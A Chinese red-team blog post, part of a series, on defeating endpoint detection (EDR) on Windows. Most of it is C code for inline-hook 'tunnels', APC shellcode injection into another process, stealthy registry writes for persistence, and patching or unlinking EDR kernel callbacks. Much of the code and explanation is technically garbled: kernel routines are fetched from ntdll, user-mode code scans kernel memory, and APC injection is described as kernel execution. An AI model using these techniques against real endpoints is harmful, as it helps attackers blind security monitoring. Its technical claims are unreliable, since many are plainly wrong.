文章总结: 文章详细介绍了多种EDR对抗技术,包括镜像加载通知的规避方法、KAPC内核级注入技术、注册表监控的绕过技巧,以及最终大招——直接劫持EDR驱动的回调函数。这些技术展示了攻击者如何通过隧道工具、内核级代码执行和回调链修改等方式绕过EDR的监控机制,实现隐蔽的恶意活动。
综合评分: 92
文章分类: 红队,内核安全,免杀,渗透测试,二进制安全
EDR对抗从入门到入狱之三: Image Load 监控与注册表回调
原创
黑晶
黑晶
2025年10月22日 19:03
浙江
EDR对抗从入门到入狱之三: Image Load 监控与注册表回调
上次我们聊了进程创建和线程通知。这次要聊的是EDR防不住的”隐形装载”和”内核级掌控”——镜像加载通知、KAPC注入、注册表监控,以及最终的大招:直接改写EDR驱动的回调函数。
第一章:镜像加载通知 —— DLL的秘密监控
什么是镜像加载?
每当程序加载一个DLL文件(比如kernel32.dll或你的恶意evil.dll),Windows都会触发一个镜像加载通知。
程序启动流程:
1. 加载主程序exe
2. 加载kernel32.dll → 【触发通知】→ EDR看到
3. 加载user32.dll → 【触发通知】→ EDR看到
4. 加载恶意dll → 【触发通知】→ EDR抓住你
EDR通过这个机制可以检测到任何可疑的DLL加载:
- • DLL来自哪个磁盘路径?
- • DLL的签名是否有效?
- • DLL是否在已知的黑名单中?
EDR如何注册镜像加载回调?
#include <windows.h>
#include <stdio.h>
// EDR驱动定义的回调函数原型
typedef VOID (*PLOAD_IMAGE_NOTIFY_ROUTINE)(
PUNICODE_STRING FullImageName, // DLL的完整路径
HANDLE ProcessId, // 加载这个DLL的进程ID
PIMAGE_INFO ImageInfo // DLL的详细信息
);
// EDR驱动在初始化时调用这个函数
// 相当于说:"Windows,以后有DLL被加载,你就通知我"
PsSetLoadImageNotifyRoutine(MyLoadImageNotifyRoutine);
VOID MyLoadImageNotifyRoutine(
PUNICODE_STRING FullImageName,
HANDLE ProcessId,
PIMAGE_INFO ImageInfo
)
{
// EDR在这里检查DLL是否可疑
if (ContainsBlacklistedPath(FullImageName)) {
// 告诉Windows:"这个DLL我不同意加载"
// 在某些情况下可以阻止加载
}
// 记录日志
LogDLLLoad(FullImageName, ProcessId);
}
镜像加载信息包含什么?
EDR能从镜像加载事件中获得的信息:
typedef struct _IMAGE_INFO {
union {
ULONG Properties;
struct {
ULONG ImageAddressingMode : 8; // 32位还是64位
ULONG SystemModeImage : 1; // 系统DLL吗?
ULONG ImageMachineType : 16; // 处理器类型
ULONG ImageCharacteristics : 16; // 文件特性
ULONG Spare : 15;
ULONG EtwLoggingOnly : 1; // 事件跟踪
};
};
PVOID ImageBase; // 加载地址
ULONG ImageSelector;
ULONG ImageSize; // 大小
ULONG ImageSectionNumber;
} IMAGE_INFO;
这意味着EDR不仅知道DLL的名称和路径,还知道:
- • 它被加载到内存的哪个地址
- • 它的大小
- • 它的类型(32位还是64位)
第二章:规避镜像加载通知 —— 隧道工具之秘
问题的本质
如果你的恶意代码要正常运行,势必需要加载一些DLL,比如:
- •
kernel32.dll– 访问Windows API - •
ntdll.dll– 使用系统调用 - • 或者你自己的恶意DLL
但每次加载DLL都会触发EDR的通知。怎么办?
方案:隧道工具(Tunneling Tools)
这是一个聪明的想法:在还没有触发通知前,就先把需要的功能代码弄到内存里。
具体思路是利用内联钩子(Inline Hooking)和代码洞穴(Code Caves):
#include <windows.h>
#include <stdio.h>
// 步骤1:获取kernel32.dll的导出函数地址
typedef int(*LPFN_CreateProcessA)(
LPCSTR lpApplicationName,
LPSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCSTR lpCurrentDirectory,
LPSTARTUPINFOA lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
// 步骤2:保存原始CreateProcessA函数前5个字节
BYTE originalBytes[5];
LPFN_CreateProcessA origCreateProcessA = GetProcAddress(
GetModuleHandle("kernel32.dll"),
"CreateProcessA"
);
memcpy(originalBytes, (BYTE*)origCreateProcessA, 5);
// 步骤3:创建"隧道" - 在内存中构造完整的CreateProcessA代码副本
// 这样做的好处是:这个副本的代码不需要再次从DLL中加载
BYTE tunnelCode[200];
// 使用汇编指令复制CreateProcessA的功能
// 步骤4:钩住原始函数
// JMP 0x12345678 // 跳转到我们的隧道代码
BYTE hookCode[5] = {0xE9}; // JMP指令
// ... 计算跳转地址
// 现在的情况:
// 当EDR的镜像加载通知被触发时,CreateProcessA已经在"隧道代码"里了
// EDR看到的是内存中的代码,而不是从DLL中加载的代码
隧道工具的核心理念:
传统方式:
程序 → 调用CreateProcessA
→ Windows触发镜像加载通知
→ EDR看到kernel32.dll被加载 ❌ 被检测到
隧道工具方式:
程序 → 调用钩住的CreateProcessA
→ 钩子把调用转到"隧道代码"
→ 隧道代码执行系统调用(直接,不经过DLL)
→ 不触发镜像加载通知 ✓ 躲过EDR
第三章:KAPC注入 —— 内核级的”黑手”
什么是KAPC?
KAPC = Kernel Asynchronous Procedure Call = 内核异步过程调用
简单说,KAPC就是让Windows在某个线程”安全”的时刻执行你的代码。这个时刻发生在内核模式下,躲过了很多用户空间的检测。
KAPC的工作流程
普通API调用:
用户代码 → CreateRemoteThread()
→ 【触发线程通知】→ EDR看到 ❌
KAPC调用:
用户代码 → QueueUserAPC()(创建KAPC)
→ 等待目标线程进入可警告状态
→ 【切换到内核模式】
→ 执行APC → EDR可能看不到 ✓
KAPC的”可警告状态”是什么?
线程处于以下状态时是”可警告”的:
- • 调用
WaitForSingleObject等待 - • 调用
Sleep休眠 - • 调用
SleepEx休眠且标记为可警告 - • 等等
一旦线程处于可警告状态,我们就可以给它注入KAPC了。
如何创建和注入KAPC?
#include <windows.h>
#include <winternl.h>
// 步骤1:定义KAPC结构体
// 这是Windows内部的数据结构,我们需要手动定义
typedef struct _KAPC {
UCHAR Type;
UCHAR Spare0;
USHORT Size;
LIST_ENTRY ApcListEntry;
PKKERNEL_ROUTINE KernelRoutine;
PKRUNDOWN_ROUTINE RundownRoutine;
PKNORMAL_ROUTINE NormalRoutine;
PVOID NormalContext;
PVOID SystemArgument1;
PVOID SystemArgument2;
CCHAR ApcStateIndex;
KPROCESSOR_MODE ApcMode;
BOOLEAN Inserted;
} KAPC, *PKAPC;
// 关键的内核函数指针
typedef VOID (*PKKERNEL_ROUTINE)(
struct _KAPC *Apc,
PKNORMAL_ROUTINE *NormalRoutine,
PVOID *NormalContext,
PVOID *SystemArgument1,
PVOID *SystemArgument2
);
typedef VOID (*PKNORMAL_ROUTINE)(
PVOID NormalContext,
PVOID SystemArgument1,
PVOID SystemArgument2
);
typedef VOID (*PKRUNDOWN_ROUTINE)(struct _KAPC *Apc);
// 步骤2:获取关键内核函数
// 这些函数不在导出表中,需要从ntdll.dll中直接提取
typedef NTSTATUS (*PfnKeInitializeApc)(
PKAPC Apc,
PKTHREAD Thread,
KAPC_ENVIRONMENT ApcMode,
PKKERNEL_ROUTINE KernelRoutine,
PKRUNDOWN_ROUTINE RundownRoutine,
PKNORMAL_ROUTINE NormalRoutine,
KPROCESSOR_MODE ProcessorMode,
PVOID NormalContext
);
typedef BOOLEAN (*PfnKeInsertQueueApc)(
PKAPC Apc,
PVOID SystemArgument1,
PVOID SystemArgument2,
KPRIORITY Increment
);
PfnKeInitializeApc KeInitializeApc =
(PfnKeInitializeApc)GetProcAddress(
GetModuleHandle("ntdll.dll"),
"KeInitializeApc"
);
PfnKeInsertQueueApc KeInsertQueueApc =
(PfnKeInsertQueueApc)GetProcAddress(
GetModuleHandle("ntdll.dll"),
"KeInsertQueueApc"
);
// 步骤3:准备要注入的代码
// 这是一个简单的代码片段,会在目标线程中执行
BYTE injectionCode[] = {
0x55, // push rbp
0x48, 0x89, 0xE5, // mov rbp, rsp
// ... 你的恶意代码 ...
0x90, // nop
0x5D, // pop rbp
0xC3 // ret
};
// 在目标进程中分配内存
PVOID remoteMemory = VirtualAllocEx(
hTargetProcess,
NULL,
sizeof(injectionCode),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
// 写入代码
WriteProcessMemory(
hTargetProcess,
remoteMemory,
injectionCode,
sizeof(injectionCode),
NULL
);
// 步骤4:找到目标线程
// (假设我们已经获得了线程句柄)
HANDLE hTargetThread = /* ... */;
// 步骤5:创建KAPC结构体
KAPC kapc = {0};
KeInitializeApc(
&kapc,
hTargetThread,
OriginalApcMode, // 在用户模式执行
NULL, // KernelRoutine
NULL, // RundownRoutine
(PKNORMAL_ROUTINE)remoteMemory, // 我们的代码
UserMode, // ProcessorMode
NULL // NormalContext
);
// 步骤6:将APC队列到线程
// 注意:目标线程必须处于"可警告"状态
KeInsertQueueApc(
&kapc,
NULL, // SystemArgument1
NULL, // SystemArgument2
0 // Increment
);
// 现在,当目标线程进入可警告状态时,我们的代码就会执行!
为什么KAPC这么难防?
- 1. 内核模式执行:代码在内核级执行,很多用户空间的钩子看不到
- 2. 绕过线程通知:不是直接创建新线程,所以线程通知可能不触发
- 3. 隐蔽性:从进程监控的角度,看起来只是线程处于等待状态而已
第四章:注册表通知 —— 修改系统配置的监控
注册表为什么重要?
Windows注册表存储了系统的大量配置:
- • 启动程序
- • DLL搜索路径
- • 安全设置
- • 等等
如果你要修改这些设置(比如添加持久化),EDR的注册表监控会抓住你。
EDR如何监控注册表?
// EDR注册一个注册表变化通知回调
typedef NTSTATUS (*PREG_NOTIFY_CLASS)(
PVOID CallbackContext,
PVOID Argument1,
PVOID Argument2
);
// 关键Windows API
typedef NTSTATUS (*PfnCmRegisterCallback)(
PREG_NOTIFY_CLASS Callback,
PVOID Context,
PLARGE_INTEGER Cookie
);
LARGE_INTEGER cookie;
CmRegisterCallback(RegistryNotifyCallback, context, &cookie);
NTSTATUS RegistryNotifyCallback(
PVOID CallbackContext,
PVOID Argument1, // REG_NOTIFY_CLASS (哪种操作?)
PVOID Argument2 // REG_NOTIFY_INFORMATION
)
{
// Argument1的值:
// RegNtPreSetValueKey - 在写入之前触发
// RegNtPostSetValueKey - 在写入之后触发
// RegNtPreDeleteKey - 在删除之前触发
// ... 等等
// EDR可以在这里:
// - 检查修改的键值
// - 记录日志
// - 阻止"可疑"的修改
return STATUS_SUCCESS;
}
规避注册表监控的技巧
技巧1:绕过用户空间API
不用RegSetValueEx等高级API,直接使用ZwSetValueKey(这是更底层的调用):
#include <winternl.h>
typedef NTSTATUS (*PfnZwSetValueKey)(
HANDLE KeyHandle,
PUNICODE_STRING ValueName,
ULONG TitleIndex,
ULONG Type,
PVOID Data,
ULONG DataSize
);
PfnZwSetValueKey ZwSetValueKey =
(PfnZwSetValueKey)GetProcAddress(
GetModuleHandle("ntdll.dll"),
"ZwSetValueKey"
);
// 现在使用ZwSetValueKey而不是RegSetValueEx
UNICODE_STRING valueName = {0};
RtlInitUnicodeString(&valueName, L"MyValue");
HANDLE hKey = /* 已打开的注册表键 */;
BYTE data[] = {0x01, 0x02, 0x03};
ZwSetValueKey(
hKey,
&valueName,
0,
REG_BINARY,
data,
sizeof(data)
);
技巧2:时序攻击
在系统刚启动,EDR驱动还没完全加载时进行修改:
// 系统启动后,等待一小段时间
// EDR通常需要加载和初始化
Sleep(2000);
// 然后在这个时间窗口内快速修改注册表
// EDR可能还没来得及注册回调
技巧3:使用文件系统而不是注册表
某些配置可以存储在文件中而不是注册表中,这样可以绕过注册表监控。
第五章:最终大招 —— EDR驱动回调劫持
终极问题
假设你已经获得了系统权限(SYSTEM或管理员),现在有一个最终的大招:直接改写EDR驱动的回调函数。
这是一个”一劳永逸”的方法,从根本上消除EDR的监控。
原理:回调链是可修改的
Windows内部维护了一个”回调链”——所有已注册的回调函数的列表。例如,对于进程创建通知:
// 这是一个简化的示意图
struct CallbackEntry {
PVOID callbackAddress; // 指向回调函数的指针
struct CallbackEntry* next;
};
// 回调链的头部
CallbackEntry* processNotifyCallbackChain = /* ... */;
// 当进程创建时
void ProcessCreated(HANDLE pid) {
// 遍历回调链,依次调用每个回调
CallbackEntry* entry = processNotifyCallbackChain;
while (entry != NULL) {
// 调用这个回调函数
entry->callbackAddress(pid);
entry = entry->next;
}
}
劫持策略
如果我们能修改这个链,我们就能:
- 1. 移除EDR的回调:直接把EDR的回调从链中删除
- 2. 替换EDR的回调:把EDR的回调替换成我们的”阉割版”
- 3. 插入伪回调:在链中插入假的回调来误导
实战代码
#include <windows.h>
#include <winternl.h>
// 首先,我们需要找到EDR回调的地址
// 这通常需要反向工程EDR驱动
// 方法1:通过内存扫描
PVOID FindEDRCallbackBySignature() {
// 扫描内存寻找特定的字节序列
// 这个签名是EDR驱动的回调函数特有的
// 例如,很多EDR驱动的回调函数都有这样的模式:
// mov rcx, [rsp + 8] ; 0x48 0x8b 0x4c 0x24 0x08
// call [rdx] ; 0xff 0x12
BYTE signature[] = {0x48, 0x8b, 0x4c, 0x24, 0x08, 0xff, 0x12};
// 在内核内存中扫描
for (PUCHAR addr = (PUCHAR)0xFFFF800000000000; addr < ...; addr++) {
if (memcmp(addr, signature, sizeof(signature)) == 0) {
return addr;
}
}
return NULL;
}
// 方法2:通过导出表分析
// 某些EDR驱动的回调地址可能在导出表中
// 或者通过符号分析得到
// 一旦找到了回调地址,我们可以:
// 策略1:直接改写回调函数地址为NOP
PVOID edrCallbackAddr = FindEDRCallbackBySignature();
if (edrCallbackAddr) {
// 使用WinDbg或自己的内核驱动修改内存
// 将回调函数改为"ret"指令(NOP)
BYTE nopRet = 0xC3; // ret
memcpy(edrCallbackAddr, &nopRet, 1);
// 现在EDR的回调执行时什么都不做,直接返回
}
// 策略2:删除回调链中的EDR项
// 这需要找到回调链的数据结构
typedef struct _CALLBACK_ENTRY {
PVOID function;
struct _CALLBACK_ENTRY* next;
} CALLBACK_ENTRY;
// 在内核中定义的回调链头(这是固定地址)
// 具体地址需要根据Windows版本确定
PCALLBACK_ENTRY callbackChainHead = (PCALLBACK_ENTRY)0xFFFF...;
// 遍历链,找到EDR的回调,删除它
PCALLBACK_ENTRY current = callbackChainHead;
PCALLBACK_ENTRY prev = NULL;
while (current) {
if (IsEDRCallback(current->function)) {
// 找到了EDR的回调!
// 把它从链中删除
if (prev) {
prev->next = current->next;
} else {
callbackChainHead = current->next;
}
break;
}
prev = current;
current = current->next;
}
推荐阅读
这是一个纯粹,开放,前沿的技术交流社区,成员主要有互联网大厂安全部门任职的成员,乙方红队专家,以及正在学习入门的小白等,目前主题主要以红队研发为主(有经验的都知道是什么意思),以及其他涉及到红队进攻侵入性技术,如果你想学习技术,认识不同的人或者寻求一个机会之类的,可以来看看👇👇👇****
欢迎加入交流圈
扫码获取更多精彩
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:黑晶 黑晶《EDR对抗从入门到入狱之三: Image Load 监控与注册表回调》